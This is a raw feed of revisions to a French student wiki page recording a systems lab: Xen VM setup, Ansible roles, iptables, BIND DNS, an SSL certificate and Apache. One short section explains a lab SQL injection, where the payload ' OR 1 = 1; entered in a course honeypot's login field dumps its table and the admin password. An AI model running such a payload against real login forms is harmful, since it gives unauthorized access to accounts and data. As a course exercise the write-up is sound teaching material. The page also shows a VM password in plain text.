Le processus peut prendre plusieurs heures.&lt;br /&gt;
&lt;br /&gt;
=Injection SQL=&lt;br /&gt;
A l'adresse honey.plil.info, on utilise de l'injection SQL pour obtenir les data backend&lt;br /&gt;
Pour ce faire, on met dans la cellule 'identifiant' la valeur &lt;br /&gt;
 ' OR 1 = 1;&lt;br /&gt;
Coté backend, la requete  SQL effectuée ressemble probablement à&lt;br /&gt;
 select * from table1 where $id='$CELLULE1' and $password='$CELLULE2';&lt;br /&gt;
&lt;br /&gt;
En conséquence, notre injection génère la requete :&lt;br /&gt;
 select * from table1 where $id='' or 1=1; ' and $password='$CELLULE2';&lt;br /&gt;
Le premier ';' met fin à la requete. Puisque la condition 1=1 est toujours vraie, on affiche ainsi l'ensemble de la table&lt;br /&gt;
On accède ainsi à l'identifiant admin ainsi qu'au mot de passe que l'on utilise pour se connecter.&lt;br /&gt;
&lt;br /&gt;
=TP ASR=&lt;br /&gt;
==Setup SSH==&lt;br /&gt;
on télécharge le dossier fourni par Thomas sur 'https://github.com/thomas-maurice/polytech-asr-lab'&lt;br /&gt;
on définit une clé SSH et créé un environnement python virtuel : &lt;br /&gt;
 $ ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -C &amp;quot;your.name@polytech-lille.net&amp;quot; -P ''&lt;br /&gt;
&lt;br /&gt;
 $ python3 -m venv ~/env-ansible&lt;br /&gt;
 $ . ~/env-ansible/bin/activate&lt;br /&gt;
 $ pip3 install -U setuptools wheel&lt;br /&gt;
 $ pip3 install -U ansible&lt;br /&gt;
&lt;br /&gt;
puis &lt;br /&gt;
 $ ansible-playbook -v -i inventory polytech.yaml&lt;br /&gt;
&lt;br /&gt;
Parallèlement, on configure notre VM sur chassiron.plil.info. On utilise comme machine virtuelle celle attribuée à notre groupe (groupe 11) :&lt;br /&gt;
 $ cd /etc/xen&lt;br /&gt;
 $ xen create pra-11.cfg&lt;br /&gt;
 $ xen console pra-11&lt;br /&gt;
&lt;br /&gt;
On se log dans la VM et on configure l'interface eth0 dans /etc/network/interfaces:&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static &lt;br /&gt;
  address 172.26.145.111&lt;br /&gt;
  netmask 255.255.255.0&lt;br /&gt;
  network 172.26.145.0&lt;br /&gt;
  gateway 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
On &lt;br /&gt;
&lt;br /&gt;
On s'assure qu'on peut ping l'adresse de la VM depuis la zabeth.&lt;br /&gt;
On cherche à configurer automatiquement les clés SSH acceptées par la VM grâce à Ansible. Pour cela, on créé un nouveau role dans le dossier 'roles' que l'on appelle ssh-keys.&lt;br /&gt;
On créé les dossiers templates et tasks en se basant sur le dossier base fourni.&lt;br /&gt;
 ---&lt;br /&gt;
 - hosts: all&lt;br /&gt;
   roles:&lt;br /&gt;
     # installs the `ssh_keys` role onto the targetted host&lt;br /&gt;
     - role: ssh_key&lt;br /&gt;
       tags: ssh_key&lt;br /&gt;
&lt;br /&gt;
On change également dans polytech.yaml les roles que l'on souhaite appeller au lancement de Ansible (on remplace base par ssh_key)&lt;br /&gt;
 PRA-11 ansible_ssh_host=&amp;quot;172.26.145.111&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans inventory, on spécifie le nom de la machine ainsi que l'adresse ip de cette dernière&lt;br /&gt;
On doit également ajouter une task afin de patch la distro BullsEye que l'on utilise sur la VM :&lt;br /&gt;
 #&lt;br /&gt;
 #  /etc/apt/sources.list&lt;br /&gt;
 #&lt;br /&gt;
 #&lt;br /&gt;
 # bullseye&lt;br /&gt;
 #&lt;br /&gt;
 deb     http://deb.debian.org/debian     bullseye main contrib non-free&lt;br /&gt;
 deb-src http://deb.debian.org/debian     bullseye main contrib non-free&lt;br /&gt;
 # &lt;br /&gt;
 #  Security updates&lt;br /&gt;
 # &lt;br /&gt;
 deb http://security.debian.org/debian-security bullseye-security main contrib non-free&lt;br /&gt;
&lt;br /&gt;
On installe enfin python3 sur la VM, nécessaire pour le déploiment.&lt;br /&gt;
&lt;br /&gt;
==Setup Docker==&lt;br /&gt;
On installe docker grâce à la commande &lt;br /&gt;
 $ ansible-galaxy install geerlingguy.docker&lt;br /&gt;
&lt;br /&gt;
on ajoute alors a polytech.yaml : &lt;br /&gt;
 - role: geerlingguy.docker&lt;br /&gt;
   tags: docker&lt;br /&gt;
&lt;br /&gt;
==Ip table==&lt;br /&gt;
On souhaite fermer les ports réservés à Consul. Pour cela, on utilise iptable.&lt;br /&gt;
On créé un role dédié, nommé firewall.&lt;br /&gt;
main.yml de firexall : &lt;br /&gt;
 ---&lt;br /&gt;
 - name: &amp;quot;Block TCP&amp;quot;&lt;br /&gt;
   ansible.builtin.iptables:&lt;br /&gt;
     chain: INPUT&lt;br /&gt;
     source_port: &amp;quot; &amp;lt; notextile &amp;gt;{&amp;lt; /notextile &amp;gt;{&amp;lt; notextile &amp;gt;{&amp;lt; /notextile &amp;gt; item &amp;lt; notextile &amp;gt;}}&amp;lt; /notextile &amp;gt;&amp;quot;&lt;br /&gt;
     protocol: tcp&lt;br /&gt;
     match: tcp&lt;br /&gt;
     jump: DROP&lt;br /&gt;
   become: yes&lt;br /&gt;
   with_items:&lt;br /&gt;
     - &amp;quot;8600&amp;quot;&lt;br /&gt;
     - &amp;quot;8500&amp;quot;&lt;br /&gt;
     - &amp;quot;8501&amp;quot;&lt;br /&gt;
     - &amp;quot;8502&amp;quot;&lt;br /&gt;
     - &amp;quot;8300&amp;quot;&lt;br /&gt;
     - &amp;quot;8301&amp;quot;&lt;br /&gt;
     - &amp;quot;8302&amp;quot;&lt;br /&gt;
 - name: &amp;quot;Block UDP&amp;quot;&lt;br /&gt;
   ansible.builtin.iptables:&lt;br /&gt;
     chain: INPUT&lt;br /&gt;
     source_port: &amp;quot;{{ item }}&amp;quot;&lt;br /&gt;
     protocol: tcp&lt;br /&gt;
     match: tcp&lt;br /&gt;
     jump: DROP&lt;br /&gt;
   become: yes&lt;br /&gt;
   with_items:&lt;br /&gt;
     - &amp;quot;8600&amp;quot;&lt;br /&gt;
     - &amp;quot;8301&amp;quot;&lt;br /&gt;
     - &amp;quot;8302&amp;quot;&lt;/div&gt;</summary>
		<author><name>Cgodet1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&amp;diff=58003</id>
		<title>TP sysres IMA5 2021/2022 G11</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&amp;diff=58003"/>
				<updated>2022-01-12T12:32:20Z</updated>
		
		<summary type="html">&lt;p&gt;Cgodet1 : /* Ip table */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Creation de la machine virtuelle=&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, s'il y a un problème de proxy, taper la commande :&lt;br /&gt;
 export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
Cela indique l'adresse du proxy à utiliser pour les requetes HTTP, HTTPS, FTP et autres joyeusetés.&lt;br /&gt;
&lt;br /&gt;
On souhaite déployer une machine virtuelle sur l'hyperviseur Capbreton&lt;br /&gt;
Pour ce faire, on se connecte d'abord en SSH sur root@capbreton&lt;br /&gt;
On créé ensuite un répertoire dans /usr/local/xen en choisissant un nom en rapport avec le thème choisi : la bière.&lt;br /&gt;
J'ai choisi la bière 'Corona' en référence aux temps sombres et incertains que nous vivons, tout en me rappellant que c'est après les nuits les plus somrbes que l'aurore apparait la plus rayonnante.&lt;br /&gt;
&lt;br /&gt;
La creation de la VM requiert de fixer l'ip et le masque de sous-réseau. On se base sur les ips que nous avons fixé après concertation.&lt;br /&gt;
On précise également le nom de la machine, le mot de passe, la distribution et l'emplacement des fichiers de la VM.&lt;br /&gt;
&lt;br /&gt;
 xen-create-image --hostname=Corona --ip=193.48.57.186 --gateway=193.48.57.188 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye&lt;br /&gt;
&lt;br /&gt;
On créé ensuite 2 volumes logiques dans le répertoire /dev/storage :&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L10G -n Corona1 storage&lt;br /&gt;
 lvcreate -L10G -n Corona2 storage&lt;br /&gt;
&lt;br /&gt;
On les formate en ext4 :&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/storage/Corona1&lt;br /&gt;
 mkfs.ext4 /dev/storage/Corona2&lt;br /&gt;
&lt;br /&gt;
Enfin, on modifie le fichier /etc/xen/Corona.cfg :&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
devient :&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',&lt;br /&gt;
                 'phy:/dev/storage/Corona1,xvda3,w',&lt;br /&gt;
                 'phy:/dev/storage/Corona2,xvda4,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
et &lt;br /&gt;
&lt;br /&gt;
 vif         = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC' ]&lt;br /&gt;
&lt;br /&gt;
devient :&lt;br /&gt;
&lt;br /&gt;
 vif         = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC ,bridge=IMA5sc' ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour lancer la VM, on execute :&lt;br /&gt;
&lt;br /&gt;
 xl create -c /etc/xen/Corona.cfg&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans la VM, on visualise les informations relatives au file system avec la commande :&lt;br /&gt;
&lt;br /&gt;
 cat /etc/fstab&lt;br /&gt;
&lt;br /&gt;
xvda1 et xvda2 apparaissent mais pas xvda3 et xvda4. On les créer avec :&lt;br /&gt;
&lt;br /&gt;
 mkdir /mnt/xvda3&lt;br /&gt;
 mkdir /mnt/xvda4&lt;br /&gt;
 mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
On va utiliser xvda4 pour stocker le dossier var, et xvda3 pour stocker home :&lt;br /&gt;
&lt;br /&gt;
 mv /var/* /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Puis dans /etc/fstab, on ajoute :&lt;br /&gt;
&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Ensuite, on execute : &lt;br /&gt;
&lt;br /&gt;
 mount -a&lt;br /&gt;
&lt;br /&gt;
Enfin, on vérifie que les partitions ajoutées existent : &lt;br /&gt;
&lt;br /&gt;
 lsblk&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On ajoute ensuite la ligne suivante dans /etc/network/interfaces :&lt;br /&gt;
&lt;br /&gt;
 iface eth0 inet6 auto &lt;br /&gt;
&lt;br /&gt;
On applique les changements en redemarrant : &lt;br /&gt;
 &lt;br /&gt;
 systemctl restart networking&lt;br /&gt;
&lt;br /&gt;
On vérifie que la modification a eu lieu :&lt;br /&gt;
&lt;br /&gt;
 ip a&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Raccourci pour quitter la VM : CTRL + ']'&amp;lt;br/&amp;gt;&lt;br /&gt;
Commande pour se connecter à la VM : xen console Corona&lt;br /&gt;
&lt;br /&gt;
=Configuration de la VM=&lt;br /&gt;
A présent, on configure la VM.&lt;br /&gt;
On installe openssh-server s'il n'est pas installé :&lt;br /&gt;
 apt install openssh-server&lt;br /&gt;
On édite ensuite dans le fichier /etc/ssh/sshd_config les lignes :&lt;br /&gt;
 PermitRootLogin without-password&lt;br /&gt;
 PubkeyAuthentication yes&lt;br /&gt;
&lt;br /&gt;
Puis on recharge la configuration avec :&lt;br /&gt;
 systemctl reload ssh&lt;br /&gt;
&lt;br /&gt;
Sur la zabeth, on créé une clé ssh avec :&lt;br /&gt;
 ssh-keygen -t ed25519&lt;br /&gt;
&lt;br /&gt;
On copie la clé publique que l'on vient de générer pour la coller dans le fichier ~/.shh/authorized_keys de la VM.&lt;br /&gt;
Coté zabeth, on peut alors se connecter à la machine virtuelle directement en ssh grâce à la commande : &lt;br /&gt;
 ssh -o &amp;quot;IdentitiesOnly=yes&amp;quot; -i ma_cle_privée root@193.48.57.186&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Déploiement site=&lt;br /&gt;
On achète le nom de domaine 'corona59.club' sur Gandi.net&lt;br /&gt;
Toujours sur Gandi.net, on configure le Glue Record de notre nom de domaine en indiquant que notre nameserver s'appelle ns.corona59.club et qu'il se trouve à l'adresse 193.48.57.186.&lt;br /&gt;
On configure également notre nameserver dans Domain &amp;gt; MON_NOM_DE_DOMAINE &amp;gt; nameservers&lt;br /&gt;
On ajoute un nameserver externe. En premier on met &amp;quot;ns.corona59.club&amp;quot;, en deuxième on met &amp;quot;ns6.gandi.net&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On installe ensuite bind sur la vm :&lt;br /&gt;
 apt install bind9&lt;br /&gt;
et on vient modifier /etc/resolv.conf pour utiliser notre propre serveur de nom :&lt;br /&gt;
 nameserver 193.48.57.186&lt;br /&gt;
(peut etre utiliser 127.0.0.1, mais je suis pas sûr)&lt;br /&gt;
On modifie ensuite /etc/bind/named.conf.local :&lt;br /&gt;
 zone MON_NOM_DE_DOMAINE {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.MON_NOM_DE_DOMAINE&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
l'adresse &amp;quot;217.70.177.40&amp;quot; correspond au nameserver de Gandi.net et nous sert de nom de serveur secondaire. Ainsi, lorsque notre nameserver ne sait pas à quelle IP correspond un nom, il interroge Gandi.&lt;br /&gt;
&lt;br /&gt;
On créé ensuite le fichier /etc/bind/db.corona59.club :&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns.corona59.club postmaster.corona59.club. (&lt;br /&gt;
                               4         ; Serial&lt;br /&gt;
                          604800         ; Refresh&lt;br /&gt;
                           86400         ; Retry&lt;br /&gt;
                         2419200         ; Expire&lt;br /&gt;
                          604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns.corona59.club.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
&lt;br /&gt;
On ajoute au fichier /etc/bind/db.corona59.club :&lt;br /&gt;
 ns      IN      A       193.48.57.186&lt;br /&gt;
 www     IN      A       193.48.57.186&lt;br /&gt;
         IN      AAAA    2001:7a8:116e:60b0:216:3eff:feae:eaec&lt;br /&gt;
&lt;br /&gt;
On teste que notre configuration est correcte :&lt;br /&gt;
 host -t any ns.corona59.club localhost&lt;br /&gt;
On obtient :&lt;br /&gt;
 Using domain server:&lt;br /&gt;
 Name: localhost&lt;br /&gt;
 Address: 127.0.0.1#53&lt;br /&gt;
 Aliases: &lt;br /&gt;
&lt;br /&gt;
 corona59.club has SOA record ns.corona59.club.corona59.club. postmaster.corona59.club. 4 604800 86400 2419200 604800&lt;br /&gt;
 corona59.club name server ns.corona59.club.&lt;br /&gt;
 corona59.club name server ns6.gandi.net.&lt;br /&gt;
&lt;br /&gt;
Si on obtient pas ça, penser à lancer la commande :&lt;br /&gt;
 tail -50 /var/log/daemon.log&lt;br /&gt;
afin de voir ce qui c'est mal passé.&lt;br /&gt;
&lt;br /&gt;
A chaque modification des fichiers du repertoire /etc/bind, penser à relancer bind avec &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
=Certificat SSL=&lt;br /&gt;
Pour obtenir un certificat SSL, on tape :&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout corona59.club.key -out corona59.club.csr &lt;br /&gt;
On rentre ensuite les informations demandées par l'utilitaire (adresse mail, pays, etc). Il faut faire bien attention à rentrer le nom de domaine dans &amp;quot;Common Name&amp;quot;&lt;br /&gt;
Un fichier .csr et .key sont créés.&lt;br /&gt;
On copie-colle le contenu du fichier .csr dans Gandi pour créer un certificat à l'adresse : https://shop.gandi.net/en/0f32d906-a208-11e7-9da6-00163e61ef31/certificate/create&lt;br /&gt;
On choisit une procédure de validation (j'ai choisi DNS). Une fois le certificat validé, on peut télécharger le fichier .crt généré par Gandi que l'on place dans le répertoire /etc/ssl/certs/ de la VM. On télécharge également le certificat intermédiaire généré par Gaandi que l'on place dans le même répertoire.&lt;br /&gt;
&lt;br /&gt;
=Serveur web=&lt;br /&gt;
Pour déployer un serveur web, on installe apache2. On utilise ensuite l'utilitaire a2enmod pour activer les modules apache qui nous interessent.&lt;br /&gt;
 a2enmod ssl&lt;br /&gt;
&lt;br /&gt;
On créé le répertoire corona59.club dans /var/www/ ainsi que le fichier de configuration /etc/apache2/sites-available/000-corona59.club-ssl.conf :&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost 193.48.57.186:443&amp;gt;&lt;br /&gt;
        ServerName corona59.club&lt;br /&gt;
        ServerAlias www.corona59.club&lt;br /&gt;
        DocumentRoot /var/www/corona59.club/&lt;br /&gt;
        CustomLog /var/log/apache2/secure_access.log combined&lt;br /&gt;
 &lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        SSLCertificateFile /etc/ssl/certs/corona59.club.crt&lt;br /&gt;
        SSLCertificateKeyFile /etc/ssl/corona59.club.key&lt;br /&gt;
        SSLCACertificateFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
        SSLVerifyClient None&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On active notre site avec la commande :&lt;br /&gt;
 a2ensite 000-corona59.club-ssl &lt;br /&gt;
&lt;br /&gt;
On édite le fichier /etc/apache2/apache2.conf en rajoutant &lt;br /&gt;
 ServerName corona59.club&lt;br /&gt;
&lt;br /&gt;
On relance apache :&lt;br /&gt;
 systemctl reload apache2&lt;br /&gt;
&lt;br /&gt;
On teste le fonctionnement avec :&lt;br /&gt;
 openssl s_client -connect 193.48.57.186:443&lt;br /&gt;
&lt;br /&gt;
 CONNECTED(00000003)&lt;br /&gt;
 Can't use SSL_get_servername&lt;br /&gt;
 depth=2 C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust RSA Certification Authority&lt;br /&gt;
 verify return:1&lt;br /&gt;
 depth=1 C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2&lt;br /&gt;
 verify return:1&lt;br /&gt;
 depth=0 CN = corona59.club&lt;br /&gt;
 verify return:1&lt;br /&gt;
 ---&lt;br /&gt;
 Certificate chain&lt;br /&gt;
  0 s:CN = corona59.club&lt;br /&gt;
    i:C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2&lt;br /&gt;
  1 s:C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2&lt;br /&gt;
    i:C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust RSA Certification Authority&lt;br /&gt;
 ---&lt;br /&gt;
 Server certificate&lt;br /&gt;
 -----BEGIN CERTIFICATE-----&lt;br /&gt;
 MIIGODCCBSCgAwIBAgIRANSBYLR9JBGxmC8RQbK0N1QwDQYJKoZIhvcNAQELBQAw&lt;br /&gt;
 XzELMAkGA1UEBhMCRlIxDjAMBgNVBAgTBVBhcmlzMQ4wDAYDVQQHEwVQYXJpczEO&lt;br /&gt;
 MAwGA1UEChMFR2FuZGkxIDAeBgNVBAMTF0dhbmRpIFN0YW5kYXJkIFNTTCBDQSAy&lt;br /&gt;
 MB4XDTIxMTIxMzAwMDAwMFoXDTIyMTIxMzIzNTk1OVowGDEWMBQGA1UEAxMNY29y&lt;br /&gt;
 b25hNTkuY2x1YjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALUUeFaW&lt;br /&gt;
 oimeIzBDolopsjlg2G0Q7qT24rPjh6a5BMp1tvCkKhV/3rCHzQSu6n4sK1qls0FB&lt;br /&gt;
 OqlddzYxV9qO38POg72/mBcXHs+fuEN46tCTl7Py+Zg5nOlaMjCB/F7MUZsFoSuf&lt;br /&gt;
 erRb0gmiCpXorXL+FUteOapZzCcpInFS56fIX1plipIP81RD//MZ4NFPDFRWHU1f&lt;br /&gt;
 D1Mm5xw3WIPFEVdqNvQHhUm0yNf9QEY7lV9pf7FXAX6ZBPvUYTaNMRkbfKkNgjrs&lt;br /&gt;
 0T3aIAq+48UdLAk+miFFUH9UyM4BF/R76SItZ7NFhTNrdvXkzbPKNnWzvh8yb2Zh&lt;br /&gt;
 Nk/g6taWKSK29RsCAwEAAaOCAzQwggMwMB8GA1UdIwQYMBaAFLOQp9jJr07NYTyf&lt;br /&gt;
 fK1df0H9aTDqMB0GA1UdDgQWBBQphH/Ob2j83ZRdroQhFgvI3wjsyjAOBgNVHQ8B&lt;br /&gt;
 Af8EBAMCBaAwDAYDVR0TAQH/BAIwADAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYB&lt;br /&gt;
 BQUHAwIwSwYDVR0gBEQwQjA2BgsrBgEEAbIxAQICGjAnMCUGCCsGAQUFBwIBFhlo&lt;br /&gt;
 dHRwczovL2Nwcy51c2VydHJ1c3QuY29tMAgGBmeBDAECATBBBgNVHR8EOjA4MDag&lt;br /&gt;
 NKAyhjBodHRwOi8vY3JsLnVzZXJ0cnVzdC5jb20vR2FuZGlTdGFuZGFyZFNTTENB&lt;br /&gt;
 Mi5jcmwwcwYIKwYBBQUHAQEEZzBlMDwGCCsGAQUFBzAChjBodHRwOi8vY3J0LnVz&lt;br /&gt;
 ZXJ0cnVzdC5jb20vR2FuZGlTdGFuZGFyZFNTTENBMi5jcnQwJQYIKwYBBQUHMAGG&lt;br /&gt;
 GWh0dHA6Ly9vY3NwLnVzZXJ0cnVzdC5jb20wKwYDVR0RBCQwIoINY29yb25hNTku&lt;br /&gt;
 Y2x1YoIRd3d3LmNvcm9uYTU5LmNsdWIwggF9BgorBgEEAdZ5AgQCBIIBbQSCAWkB&lt;br /&gt;
 ZwB2AEalVet1+pEgMLWiiWn0830RLEF0vv1JuIWr8vxw/m1HAAABfbQsDh0AAAQD&lt;br /&gt;
 AEcwRQIhAO17SRAY2GGTqlDqcIh5GPYmysEZ+9EQHNT4eGVA07GZAiB3jV1h/WvJ&lt;br /&gt;
 JjLamcWvZ5x4iMh2ZETtf33uRB6bQbXzKQB2AEHIyrHfIkZKEMahOglCh15OMYsb&lt;br /&gt;
 A+vrS8do8JBilgb2AAABfbQsDeMAAAQDAEcwRQIgbVz8muFonTu/DeOopCHEUpd1&lt;br /&gt;
 5ckL7I9Bhu/2zLVeYzICIQCSkK2o0vMoGW99Gq9BjBtE/RO7kueJTF/COlPbIBfB&lt;br /&gt;
 DwB1ACl5vvCeOTkh8FZzn2Old+W+V32cYAr4+U1dJlwlXceEAAABfbQsDbUAAAQD&lt;br /&gt;
 AEYwRAIgCzAQUVKGb8EvqQ+WCALDrjvNTqf2DY4fUk06qeEAIVkCIBHbOUioDNnV&lt;br /&gt;
 UsEiUkXXtTOYVQlea94BtE5oYFjBqH3aMA0GCSqGSIb3DQEBCwUAA4IBAQCA4+9H&lt;br /&gt;
 XoMkIkagjr+TNxb4BXtruGyGGrx0MUWWjvcb3djn/8QCDLCwP6+BTVQEk2DP31v5&lt;br /&gt;
 B4GNeWiNmI1QjprzjlLSQyWeauTdRDoAS+mxhsaPBtT3QmHbyVdnnPSeUmDKznr9&lt;br /&gt;
 TEEfeGmPW/l0TiLc9yYrIyix6Ixb82qvL4BkfFkqk08lEstjimReU5Ma6zj85Q3X&lt;br /&gt;
 cvpT+Zav8mYMBAjJocgdTZYsiydajuv8h3I+EL5B5KxgFbvPtUySsPJwmLZ2pama&lt;br /&gt;
 7zsTzgYhdjL6LasHLxT9PIKYzp4WiNGRvpYbvnimWDZJzyYNLbw+ZSeZoS9DSzhY&lt;br /&gt;
 e0D4Wcue+OV6y/j2&lt;br /&gt;
 -----END CERTIFICATE-----&lt;br /&gt;
 subject=CN = corona59.club   &lt;br /&gt;
&lt;br /&gt;
 issuer=C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2&lt;br /&gt;
&lt;br /&gt;
 ---&lt;br /&gt;
 No client certificate CA names sent&lt;br /&gt;
 Peer signing digest: SHA256&lt;br /&gt;
 Peer signature type: RSA-PSS&lt;br /&gt;
 Server Temp Key: X25519, 253 bits&lt;br /&gt;
 ---&lt;br /&gt;
 SSL handshake has read 3674 bytes and written 363 bytes&lt;br /&gt;
 Verification: OK&lt;br /&gt;
 ---&lt;br /&gt;
 New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384&lt;br /&gt;
 Server public key is 2048 bit&lt;br /&gt;
 Secure Renegotiation IS NOT supported&lt;br /&gt;
 Compression: NONE&lt;br /&gt;
 Expansion: NONE&lt;br /&gt;
 No ALPN negotiated&lt;br /&gt;
 Early data was not sent&lt;br /&gt;
 Verify return code: 0 (ok)&lt;br /&gt;
 ---&lt;br /&gt;
 ---&lt;br /&gt;
 Post-Handshake New Session Ticket arrived:&lt;br /&gt;
 SSL-Session:&lt;br /&gt;
     Protocol  : TLSv1.3&lt;br /&gt;
     Cipher    : TLS_AES_256_GCM_SHA384&lt;br /&gt;
     Session-ID: 5376D0C56EE60841482046ED97C0C303438A2BF5262A7391D15559996425B7AF&lt;br /&gt;
     Session-ID-ctx: &lt;br /&gt;
     Resumption PSK: A881594DA00CCD5FF520055864E880EE6D2CB48C6125BC72DEA6A5F8DBD8C6EBEC1853DC5C886744211D4EE130C26382&lt;br /&gt;
     PSK identity: None&lt;br /&gt;
     PSK identity hint: None&lt;br /&gt;
     SRP username: None&lt;br /&gt;
     TLS session ticket lifetime hint: 300 (seconds)&lt;br /&gt;
     TLS session ticket:&lt;br /&gt;
     0000 - 34 f0 8c fe c2 12 d7 34-f3 36 2f 9c 86 c2 68 db   4......4.6/...h.&lt;br /&gt;
     0010 - 01 f2 eb fd 4e f3 f4 88-6a d6 46 5e 8e f6 b9 d2   ....N...j.F^....&lt;br /&gt;
     0020 - bd a2 4c 42 95 fd 4a a7-c3 38 b0 7d b5 5b 33 50   ..LB..J..8.}.[3P&lt;br /&gt;
     0030 - 6b 91 1e 69 e3 57 7d 1a-bb 0c 9d 75 f2 b6 c2 b6   k..i.W}....u....&lt;br /&gt;
     0040 - c3 73 f7 a7 45 b8 15 83-62 9e 47 1b f4 b0 f8 62   .s..E...b.G....b&lt;br /&gt;
     0050 - 26 5f aa 92 fd d1 c6 54-55 56 2c a6 13 42 b5 b0   &amp;amp;_.....TUV,..B..&lt;br /&gt;
     0060 - cc 5c c5 98 2f 11 69 28-ee 16 84 46 69 ec c4 75   .\../.i(...Fi..u&lt;br /&gt;
     0070 - b4 aa 3b 28 fb 84 1f cb-82 82 93 52 fe a8 2f 28   ..;(.......R../(&lt;br /&gt;
     0080 - c7 2c 18 9f 9e e3 d2 44-b1 f8 a6 5b ae 6c 6b f7   .,.....D...[.lk.&lt;br /&gt;
     0090 - a1 30 c9 af ad a8 92 4e-d9 af d8 3d 83 01 4c ec   .0.....N...=..L.&lt;br /&gt;
     00a0 - 4a fa fe c8 d9 ab ca 47-b1 5e be 87 e3 5f fc aa   J......G.^..._..&lt;br /&gt;
     00b0 - c3 04 a6 49 84 e8 9d ad-84 73 22 e0 ca 15 1d 12   ...I.....s&amp;quot;.....&lt;br /&gt;
     00c0 - d8 3f b1 24 b4 dc 52 a1-31 93 69 44 87 c5 ca a0   .?.$..R.1.iD....&lt;br /&gt;
     00d0 - 97 33 4d a9 dc 3f 01 0e-f1 28 c7 b7 6d 2f 0c 85   .3M..?...(..m/..  &lt;br /&gt;
&lt;br /&gt;
     Start Time: 1639409551&lt;br /&gt;
     Timeout   : 7200 (sec)&lt;br /&gt;
     Verify return code: 0 (ok)&lt;br /&gt;
     Extended master secret: no&lt;br /&gt;
     Max Early Data: 0&lt;br /&gt;
 ---&lt;br /&gt;
 read R BLOCK&lt;br /&gt;
 ---&lt;br /&gt;
 Post-Handshake New Session Ticket arrived:&lt;br /&gt;
 SSL-Session:&lt;br /&gt;
     Protocol  : TLSv1.3&lt;br /&gt;
     Cipher    : TLS_AES_256_GCM_SHA384&lt;br /&gt;
     Session-ID: 120904F1719C24AC422635D7ADA4AC0F8B7BF31269BA9EC9E0FA04E8D2168C67&lt;br /&gt;
     Session-ID-ctx: &lt;br /&gt;
     Resumption PSK: 567CB793FE3B443C920AA3FCC5AA856EE38847E69A75CE53DB7545B1FD8470F3441ABDA3037A5F52D6A83F6CF56E3C80&lt;br /&gt;
     PSK identity: None&lt;br /&gt;
     PSK identity hint: None&lt;br /&gt;
     SRP username: None&lt;br /&gt;
     TLS session ticket lifetime hint: 300 (seconds)&lt;br /&gt;
     TLS session ticket:&lt;br /&gt;
     0000 - 34 f0 8c fe c2 12 d7 34-f3 36 2f 9c 86 c2 68 db   4......4.6/...h.&lt;br /&gt;
     0010 - b6 8d cb 01 84 ee 6b 2d-85 46 99 50 22 28 a9 c5   ......k-.F.P&amp;quot;(..&lt;br /&gt;
